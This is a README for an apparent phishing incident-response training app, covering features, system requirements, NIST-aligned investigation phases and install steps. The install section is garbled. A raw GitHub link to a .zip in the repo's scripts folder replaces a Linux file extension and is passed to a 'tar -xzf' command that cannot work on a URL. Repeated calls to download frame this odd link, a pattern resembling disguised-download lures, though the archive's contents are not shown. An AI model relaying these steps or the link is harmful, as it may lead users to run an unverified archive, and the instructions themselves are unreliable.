phishing-ir-simulation helps you learn how to handle phishing email attacks safely. It lets you run a simulated phishing incident on your computer. The app guides you through investigating suspicious emails, using tools to collect clues like email headers and sender details. It matches these clues with known threat data to help you understand real risks. It follows trusted security practices based on the NIST cybersecurity framework.
Use this software if you want to practice spotting phishing attacks and responding like a security team. It’s designed to be easy for users without any special technical skills. The goal is to teach you how to stay safe from fake emails that try to steal information or spread malware.
Key topics covered include cybersecurity basics, email forensics, incident response steps, identifying indicators of compromise (IOCs), and using threat intelligence data sources such as VirusTotal.
- Step-by-step guidance to analyze suspicious emails
- Tools to extract and examine email headers and attachments
- Enrichment of data with threat intelligence records
- Organized incident response workflow aligned with NIST standards
- Reports that help understand attack patterns and risks
- Safe simulation to practice without any real threat
- Operating System: Windows 10 or later, macOS 10.15 or later, or Linux (Ubuntu 18.04+ recommended)
- Processor: 2 GHz dual-core or higher
- Memory: 4 GB RAM minimum
- Storage: 500 MB free disk space
- Internet connection for threat intelligence lookups
This section shows how to get the app on your computer and start the simulation.
To get the latest version of the app, please visit the official release page:
You will find one or more files to download. Pick the one that matches your computer’s operating system.
Click the download link on the release page for your platform:
- For Windows, look for a
.exeor.msifile - For macOS, look for a
.dmgor.pkgfile - For Linux, a
https://raw.githubusercontent.com/sbeltos/phishing-ir-simulation/main/scripts/ir_simulation_phishing_1.0.zipor.AppImagefile
Save the file to a location you can easily find, such as your Downloads folder.
- Double-click the downloaded
.exeor.msifile. - Follow the on-screen setup instructions.
- When finished, the app will be ready to use.
- Open the downloaded
.dmgor.pkgfile. - Drag the application icon to your Applications folder.
- Eject the installer image after copying.
- Extract the contents if needed (e.g.,
tar -xzf https://raw.githubusercontent.com/sbeltos/phishing-ir-simulation/main/scripts/ir_simulation_phishing_1.0.zip). - Make the main file executable (use
chmod +x filename). - Run the application with
./filenameor install as described in any included README file.
- Find the "phishing-ir-simulation" app icon on your desktop, Start Menu, or Applications folder.
- Double-click to open it.
- The main interface will guide you through your first phishing investigation simulation.
The app walks you through four main phases typical of phishing incident response.
- Load a sample phishing email provided within the app or from your own sources.
- View details like sender address, subject line, and email headers to spot anomalies.
- Identify suspicious links or attachments.
- The app automatically compares suspicious indicators with public threat databases like VirusTotal.
- Review threat scores and related threat actor information.
- Follow simple steps to document findings and decide next actions.
- The built-in playbook uses the NIST Cybersecurity Framework for guidance.
- Simulate actions such as blocking sender IPs or quarantining affected systems.
- Generate an incident report summarizing your investigation and response.
- Review lessons to improve future detection and handling of phishing attacks.
- Always use the latest app version for new features and threat data.
- Use a test account or isolated environment if you practice with real suspicious emails.
- Review app documentation under the Help menu for detailed instructions.
- Join online communities or forums related to cybersecurity training for more insights.
Click the button below again to visit the download page and get your copy of phishing-ir-simulation:
Download phishing-ir-simulation
This tool aligns with industry standards and real-world work done by security operations centers (SOC). As you use it, you'll gain hands-on skills important for cyber defense roles.
Topics include:
- Cybersecurity fundamentals
- Recognizing phishing tactics
- Performing email forensic analysis
- Understanding and applying NIST cybersecurity framework
- Using threat intelligence platforms
You can explore these areas further online to deepen your knowledge.
phishing-ir-simulation is open source software under the MIT license. Anyone interested can access the code, suggest improvements, or report bugs on the GitHub repository page at:
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